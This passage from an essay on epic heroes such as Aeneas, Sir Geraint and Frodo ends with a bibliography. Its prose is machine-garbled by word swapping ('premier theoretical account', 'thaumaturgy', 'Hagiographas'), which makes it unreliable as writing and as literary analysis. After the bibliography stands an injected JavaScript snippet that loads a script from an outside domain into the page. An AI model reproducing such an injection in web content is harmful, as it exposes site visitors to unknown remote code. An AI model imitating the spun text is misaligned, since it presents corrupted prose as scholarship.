was entreated by Gandalf the Wise to put out upon his pursuit, he would hold been content populating out his life at Bag-End. Whether it be the shove of Destiny and Fate or the soft jog of a concerned person, the declaration of a personality defect is inevitable. # 8220 ; Without heroes we # 8217 ; re all field people and wear # 8217 ; t cognize how far we can travel # 8221 ; Bernard Malamud # 8217 ; s statement accurately describes the influence of Aeneas, Sir Geraint and Frodo as they all complete heroic poem pursuits despite being mere persons. The heroic poem hero is an ageless figure as he or she is a premier theoretical account of unity and doggedness, which is exemplified during a pursuit which provides a solution to the job of a blemished temperament. The heroic narrative is a contemplation of human character as the subjects that are presented closely mirror cosmopolitan jobs that are faced by everyone. As one sheds the tegument of young person, although it may be possible to analyse the literary significance of these fantastic narratives, the thaumaturgy that they one time contained is frequently gone. More than Hagiographas of scholarly value, these pieces of literature exude inspiration and provoke awe in younger audiences wor ldwide. Like kids, one twenty-four hours adults shall, burying their secular problems, embrace the narratives they one time loved, be inspired, and one time once more become heroes. Bibliography Wordsworth Poetry Library, The Works of Alfred Lord Tennyson ( Hertfordshire: Wordsworth Editions Ltd, 1994 ) 469. Virgil, The Aeneid ( Toronto: Penguin Books, 1991 ) 49. Virgil, The Aeneid ( Toronto: Penguin Books, 1991 ) 6. Ibid. , 215 J.R.R. Tolkien, The Lord of The Rings ( Great Britian, Harper Collins Publishers, 1995 ) 392. Virgil, The Aeneid ( Toronto: Penguin Books, 1991 ) 6. Ibid. , 159 Wordsworth Poetry Library, The Works of Alfred Lord Tennyson ( Hertfordshire: Wordsworth Editions Ltd, 1994 ) 470. J.R.R. Tolkien, The Lord of the Rings ( Great Britian, Harper Collins Publishers, 1995 ) 64. Citations @ annabell.net, Heroes # 8211 ; Quotation usher. 22 Feb 1999. Online. Available hypertext transfer protocol: //www.annabelle.net/topics/heroes.html [ 12 Dec 1999 ] ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;